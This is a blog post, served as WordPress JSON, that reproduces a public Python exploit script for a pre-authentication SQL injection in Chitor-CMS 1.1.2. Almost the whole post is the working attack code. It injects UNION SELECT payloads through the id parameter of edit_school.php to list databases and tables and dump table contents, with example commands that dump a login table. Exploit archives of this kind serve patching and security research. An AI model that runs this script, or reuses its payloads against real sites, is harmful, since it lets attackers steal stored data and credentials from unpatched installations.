{"id":40573,"date":"2023-04-20T20:19:00","date_gmt":"2023-04-20T16:19:00","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/171952\/chitorcms112-sql.txt"},"modified":"2023-04-21T21:50:33","modified_gmt":"2023-04-21T17:20:33","slug":"chitor-cms-1-1-2-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/chitor-cms-1-1-2-sql-injection\/","title":{"rendered":"Chitor-CMS 1.1.2 SQL Injection"},"content":{"rendered":"<p dir=\"ltr\">#!\/usr\/bin\/python3<\/p>\n<p dir=\"ltr\">#######################################################<br \/>\n# #<br \/>\n# Exploit Title: Chitor-CMS v1.1.2 &#8211; Pre-Auth SQL Injection #<br \/>\n# Date: 2023\/04\/13 #<br \/>\n# ExploitAuthor: msd0pe #<br \/>\n# Project: https:\/\/github.com\/waqaskanju\/Chitor-CMS #<br \/>\n# My Github: https:\/\/github.com\/msd0pe-1 #<br \/>\n# Patched the 2023\/04\/16: 69d3442 commit #<br \/>\n# #<br \/>\n#######################################################<\/p>\n<p dir=\"ltr\">__description__ = &#8216;Chitor-CMS &lt; 1.1.2 Pre-Auth SQL Injection.&#8217;<br \/>\n__author__ = &#8216;msd0pe&#8217;<br \/>\n__version__ = &#8216;1.1&#8217;<br \/>\n__date__ = &#8216;2023\/04\/13&#8217;<\/p>\n<p dir=\"ltr\">class bcolors:<br \/>\nPURPLE = &#8216;\\033[95m&#8217;<br \/>\nBLUE = &#8216;\\033[94m&#8217;<br \/>\nGREEN = &#8216;\\033[92m&#8217;<br \/>\nOCRA = &#8216;\\033[93m&#8217;<br \/>\nRED = &#8216;\\033[91m&#8217;<br \/>\nCYAN = &#8216;\\033[96m&#8217;<br \/>\nENDC = &#8216;\\033[0m&#8217;<br \/>\nBOLD = &#8216;\\033[1m&#8217;<br \/>\nUNDERLINE = &#8216;\\033[4m&#8217;<\/p>\n<p dir=\"ltr\">class infos:<br \/>\nINFO = &#8220;[&#8221; + bcolors.OCRA + bcolors.BOLD + &#8220;?&#8221; + bcolors.ENDC + bcolors.ENDC + &#8220;] &#8221;<br \/>\nERROR = &#8220;[&#8221; + bcolors.RED + bcolors.BOLD + &#8220;X&#8221; + bcolors.ENDC + bcolors.ENDC + &#8220;] &#8221;<br \/>\nGOOD = &#8220;[&#8221; + bcolors.GREEN + bcolors.BOLD + &#8220;+&#8221; + bcolors.ENDC + bcolors.ENDC + &#8220;] &#8221;<br \/>\nPROCESS = &#8220;[&#8221; + bcolors.BLUE + bcolors.BOLD + &#8220;*&#8221; + bcolors.ENDC + bcolors.ENDC + &#8220;] &#8220;<\/p>\n<p dir=\"ltr\">import re<br \/>\nimport requests<br \/>\nimport optparse<br \/>\nfrom prettytable import PrettyTable<\/p>\n<p dir=\"ltr\">def DumpTable(url, database, table):<br \/>\nheader = {&#8220;User-Agent&#8221;: &#8220;5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/108.0.0.0 Safari\/537.36&#8221;}<br \/>\nx = PrettyTable()<br \/>\ncolumns = []\npayload = &#8220;\/edit_school.php?id=-2164&#8242; UNION ALL SELECT NULL%2CNULL%2CCONCAT(0x71707a6b71%2CJSON_ARRAYAGG(CONCAT_WS(0x787a6d64706c%2Ccolumn_name))%2C0x716a6b6271) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=\\&#8221;&#8221; + table + &#8220;\\&#8221; AND table_schema=\\&#8221;&#8221; + database + &#8220;\\&#8221;&#8211; -&#8221;<br \/>\nu = requests.get(url + payload, headers=header)<br \/>\ntry:<br \/>\nr = re.findall(&#8220;qpzkq\\[(.*?)\\]qjkbq&#8221;,u.text)<br \/>\nr = r[0].replace(&#8216;\\&#8221;&#8216;,&#8221;&#8221;).split(&#8216;,&#8217;)<br \/>\nif r == []:<br \/>\npass<br \/>\nelse:<br \/>\nfor i in r:<br \/>\ncolumns.append(i)<br \/>\npass<br \/>\nexcept:<br \/>\npass<br \/>\nx.field_names = columns<br \/>\npayload = &#8220;\/edit_school.php?id=-2164&#8242; UNION ALL SELECT NULL%2CNULL%2CCONCAT(0x71707a6b71%2CJSON_ARRAYAGG(CONCAT_WS(0x787a6d64706c%2C &#8221; + str(columns).replace(&#8220;[&#8220;,&#8221;&#8221;).replace(&#8220;]&#8221;,&#8221;&#8221;).replace(&#8220;\\'&#8221;,&#8221;&#8221;).replace(&#8221; &#8220;,&#8221;&#8221;) + &#8220;))%2C0x716a6b6271) FROM &#8221; + database + &#8220;.&#8221; + table + &#8220;&#8211; -&#8221;<br \/>\nu = requests.get(url + payload, headers=header)<br \/>\ntry:<br \/>\nr = re.findall(&#8220;qpzkq\\[(.*?)\\]qjkbq&#8221;,u.text)<br \/>\nr = r[0].replace(&#8216;\\&#8221;&#8216;,&#8221;&#8221;).split(&#8216;,&#8217;)<br \/>\nif r == []:<br \/>\npass<br \/>\nelse:<br \/>\nfor i in r:<br \/>\ni = i.split(&#8220;xzmdpl&#8221;)<br \/>\nx.add_rows([i])<br \/>\nexcept ValueError:<br \/>\nr = re.findall(&#8220;qpzkq\\[(.*?)\\]qjkbq&#8221;,u.text)<br \/>\nr = r[0].replace(&#8216;\\&#8221;&#8216;,&#8221;&#8221;).split(&#8216;,&#8217;)<br \/>\nif r == []:<br \/>\npass<br \/>\nelse:<br \/>\nfor i in r:<br \/>\ni = i.split(&#8220;xzmdpl&#8221;)<br \/>\ni.append(&#8220;&#8221;)<br \/>\nx.add_rows([i])<br \/>\nprint(x)<\/p>\n<p dir=\"ltr\">def ListTables(url, database):<br \/>\nheader = {&#8220;User-Agent&#8221;: &#8220;5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/108.0.0.0 Safari\/537.36&#8221;}<br \/>\nx = PrettyTable()<br \/>\nx.field_names = [&#8220;TABLES&#8221;]\npayload = &#8220;\/edit_school.php?id=-2164&#8242; UNION ALL SELECT NULL%2CNULL%2CCONCAT(0x71707a6b71%2CJSON_ARRAYAGG(CONCAT_WS(0x787a6d64706c%2Ctable_name))%2C0x716a6b6271) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x&#8221; + str(database).encode(&#8216;utf-8&#8217;).hex() + &#8220;)&#8211; -&#8221;<br \/>\nu = requests.get(url + payload, headers=header)<br \/>\ntry:<br \/>\nr = re.findall(&#8220;qpzkq\\[(.*?)\\]qjkbq&#8221;,u.text)<br \/>\nr = r[0].replace(&#8216;\\&#8221;&#8216;,&#8221;&#8221;).split(&#8216;,&#8217;)<br \/>\nif r == []:<br \/>\npass<br \/>\nelse:<br \/>\nfor i in r:<br \/>\nx.add_row([i])<br \/>\nexcept:<br \/>\npass<br \/>\nprint(x)<\/p>\n<p dir=\"ltr\">def ListDatabases(url):<br \/>\nheader = {&#8220;User-Agent&#8221;: &#8220;5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/108.0.0.0 Safari\/537.36&#8221;}<br \/>\nx = PrettyTable()<br \/>\nx.field_names = [&#8220;DATABASES&#8221;]\npayload = &#8220;\/edit_school.php?id=-2164&#8242; UNION ALL SELECT NULL%2CNULL%2CCONCAT(0x71707a6b71%2CJSON_ARRAYAGG(CONCAT_WS(0x787a6d64706c%2Cschema_name))%2C0x716a6b6271) FROM INFORMATION_SCHEMA.SCHEMATA&#8211; -&#8221;<br \/>\nu = requests.get(url + payload, headers=header)<br \/>\ntry:<br \/>\nr = re.findall(&#8220;qpzkq\\[(.*?)\\]qjkbq&#8221;,u.text)<br \/>\nr = r[0].replace(&#8216;\\&#8221;&#8216;,&#8221;&#8221;).split(&#8216;,&#8217;)<br \/>\nif r == []:<br \/>\npass<br \/>\nelse:<br \/>\nfor i in r:<br \/>\nx.add_row([i])<br \/>\nexcept:<br \/>\npass<br \/>\nprint(x)<\/p>\n<p dir=\"ltr\">def Main():<br \/>\nMenu = optparse.OptionParser(usage=&#8217;python %prog [options]&#8217;, version=&#8217;%prog &#8216; + __version__)<br \/>\nMenu.add_option(&#8216;-u&#8217;, &#8216;&#8211;url&#8217;, type=&#8221;str&#8221;, dest=&#8221;url&#8221;, help=&#8217;target url&#8217;)<br \/>\nMenu.add_option(&#8216;&#8211;dbs&#8217;, action=&#8221;store_true&#8221;, dest=&#8221;l_databases&#8221;, help=&#8217;list databases&#8217;)<br \/>\nMenu.add_option(&#8216;-D&#8217;, &#8216;&#8211;db&#8217;, type=&#8221;str&#8221;, dest=&#8221;database&#8221;, help=&#8217;select a database&#8217;)<br \/>\nMenu.add_option(&#8216;&#8211;tables&#8217;, action=&#8221;store_true&#8221;, dest=&#8221;l_tables&#8221;, help=&#8217;list tables&#8217;)<br \/>\nMenu.add_option(&#8216;-T&#8217;, &#8216;&#8211;table&#8217;, type=&#8221;str&#8221;, dest=&#8221;table&#8221;, help=&#8217;select a table&#8217;)<br \/>\nMenu.add_option(&#8216;&#8211;dump&#8217;, action=&#8221;store_true&#8221;, dest=&#8221;dump&#8221;, help=&#8217;dump the content&#8217;)<br \/>\n(options, args) = Menu.parse_args()<\/p>\n<p dir=\"ltr\">Examples = optparse.OptionGroup(Menu, &#8220;Examples&#8221;, &#8220;&#8221;&#8221;python3 chitor1.1.py -u http:\/\/127.0.0.1 &#8211;dbs<br \/>\npython3 chitor1.1.py -u http:\/\/127.0.0.1 -D chitor_db &#8211;tables<br \/>\npython3 chitor1.1.py -u http:\/\/127.0.0.1 -D chitor_db -T login &#8211;dump<br \/>\n&#8220;&#8221;&#8221;)<br \/>\nMenu.add_option_group(Examples)<\/p>\n<p dir=\"ltr\">if len(args) != 0 or options == {&#8216;url&#8217;: None, &#8216;l_databases&#8217;: None, &#8216;database&#8217;: None, &#8216;l_tables&#8217;: None, &#8216;table&#8217;: None, &#8216;dump&#8217;: None}:<br \/>\nMenu.print_help()<br \/>\nprint(&#8221;)<br \/>\nprint(&#8216; %s&#8217; % __description__)<br \/>\nprint(&#8216; Source code put in public domain by &#8216; + bcolors.PURPLE + bcolors.BOLD + &#8216;msd0pe&#8217; + bcolors.ENDC + bcolors.ENDC + &#8216;,&#8217; + bcolors.RED + bcolors.BOLD + &#8216;no Copyright&#8217; + bcolors.ENDC + bcolors.ENDC)<br \/>\nprint(&#8216; Any malicious or illegal activity may be punishable by law&#8217;)<br \/>\nprint(&#8216; Use at your own risk&#8217;)<\/p>\n<p dir=\"ltr\">elif len(args) == 0:<br \/>\ntry:<br \/>\nif options.url != None:<br \/>\nif options.l_databases != None:<br \/>\nListDatabases(options.url)<br \/>\nif options.database != None:<br \/>\nif options.l_tables != None:<br \/>\nListTables(options.url, options.database)<br \/>\nif options.table != None:<br \/>\nif options.dump != None:<br \/>\nDumpTable(options.url, options.database, options.table)<br \/>\nexcept:<br \/>\nprint(&#8220;Unexpected error&#8221;)<\/p>\n<p dir=\"ltr\">if __name__ == &#8216;__main__&#8217;:<br \/>\ntry:<br \/>\nMain()<\/p>\n<p dir=\"ltr\">except KeyboardInterrupt:<br \/>\nprint()<br \/>\nprint(infos.PROCESS + &#8220;Exiting&#8230;&#8221;)<br \/>\nprint()<br \/>\nexit(1)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>#!\/usr\/bin\/python3 ####################################################### # # # Exploit Title: Chitor-CMS v1.1.2 &#8211; Pre-Auth SQL Injection # # Date: 2023\/04\/13 # # ExploitAuthor: msd0pe # # Project: https:\/\/github.com\/waqaskanju\/Chitor-CMS # # My Github: https:\/\/github.com\/msd0pe-1 # # Patched the 2023\/04\/16: 69d3442 commit # # # ####################################################### __description__ = &#8216;Chitor-CMS &lt; 1.1.2 Pre-Auth SQL Injection.&#8217; __author__ = &#8216;msd0pe&#8217; __version__ = &#8216;1.1&#8217; &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-40573","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/40573","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=40573"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/40573\/revisions"}],"predecessor-version":[{"id":40602,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/40573\/revisions\/40602"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=40573"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=40573"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=40573"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}